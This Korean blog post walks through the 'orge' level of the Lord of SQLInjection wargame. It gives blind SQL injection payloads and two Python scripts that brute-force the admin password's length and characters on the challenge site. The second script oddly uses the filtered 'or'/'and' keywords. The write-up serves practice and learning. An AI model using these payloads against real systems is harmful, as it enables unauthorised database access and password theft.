Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 orge문제에 대해 다루겠다.

 


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

orge

## 문제 해석 :

해당 문제는 preg_match() 함수를 사용하여 prob, _, ., (, ), or와 and를 필터링한 것을 알 수 있다.

또한 id 값만 있는 경우 Hello $id를 출력하고, pw값이 있어야 문제를 해결할 수 있는 것으로 보인다.

 

## 문제 풀이 : 

Blind SQL Injection 기법을 통해 풀어보고자 한다.

pw를 알아야 하기 때문에 먼저 pw의 길이를 알아야한다.

참고로 OR연사자의 기로가 ||이고, AND연사자의 URL 인코딩 문자는 %26이며, 주석(#)의 URL 인코딩 문자는 %23이다.

### 사용할 공격문 : pw='|| id='admin'%26%26 length(pw)=1%23

### 실행 결과 : 

1차 시도

실제 계산한 결과, pw의 길이가 8이므로 8을 삽입하여 다시 실행하겠다.

### 사용할 공격문 : pw='|| id='admin'%26%26 length(pw)=8%23

### 실행 결과 :

pw의 길이 = 8

그러나 실제 비밀번호의 경우 길이가 10자리 이상, 많게는 20자리 이상이 있을 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.

### 공격 코드 :

import requests

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값

pw_len = 0 # 비밀번호 길이 초기화
while 1: # while문 실행
    pw_len += 1 # 비밀번호 길이 + 1
    query = f" '|| id='admin' && length(pw) = {pw_len} #" # 쿼리문 작성
	params = {'pw': query} # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies) # 요청
    if "Hello admin" in response.text: # Hello admin이 응답에 있다면, 즉 True를 반환한다면
        print("password's length : ", pw_len) # 비밀번호 길이 출력
        break # while문 종료

### 실행 결과 :

실행 결과 (비밀번호 길이)

비밀번호의 길이가 똑같이 8인 것을 알 수 있다.

 

비밀번호의 길이를 알아내면, 각 비밀번호가 무엇인지를 알아내야 한다. 이때, 아스키 코드를 활용하여 구할 수 있다.

 

아스키 코드

공격 원리를 간단히 설명하자면, 예를 들어 비밀번호의 첫번째 자리가 'a'인 경우, 이는 아스키코드상의 10진수인 97에 해당한다. 이때, 만약 비밀번호의 첫번째 자리의 아스키코드가 =97이면, 우리는 첫번째 자리가 'a'인 것을 추측해낼 수 있다.

 

이를 똑같이 파이썬 코드로 구현하면 다음과 같다.

### 공격 코드 : 

def search_pw(pw_len): # 비밀번호 찾기 함수
    pw = '' # 비밀번호 초기화
    for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
        print("Round ", i) # 몇 번째 Round인지 출력
        for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
            query = f" ' or id = 'admin' and (ascii(substring(pw, {i}, 1)) = {ch}) #" # 쿼리문 작성
            params = {'pw': query} # 파라미터 삽입
            response = requests.get(url, params=params, cookies=cookies) # 응답 받기
            if "Hello admin" in response.text: # "Hello admin"이 응답 메시지에 포함될 때, 즉 True인 경우
                pw += chr(ch) # pw에 아스키 코드를 변환하여 저장
                print("password : ", pw) # 값 출력
                break # 종료

    return pw # 비밀 번호 반환

### 실행 결과 : 

실행 결과 (비밀번호)

### 최종 공격문 : pw=7b751aec

### 실행 결과 :

공격 성공

## 추가 해석 : 

쿼리문 : ascii(substring(pw, 1, 1)) = 97

ascii() 함수는 아스키 코드를 변환해주는 함수이고, substring() 함수는 값을 자르는 함수이다. 이 쿼리문 같은 경우에는 pw의 1번째부터 1를 자르다는 뜻이다. 예를 들면 apple 같은 경우에는 apple의 첫번째 글자인 a부터 1글자만 자르다는 뜻이다.

'Wargame > Lord of SQLInjection' 카테고리의 다른 글

Lord of SQLInjection (9. vampire)  (0) 2022.05.22
Lord of SQLInjection (8. troll)  (0) 2022.05.21
Lord of SQLInjection (6. darkelf)  (0) 2022.05.19
Lord of SQLInjection (5. wolfman)  (0) 2022.05.18
Lord of SQLInjection (4. orc)  (0) 2022.05.17
profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!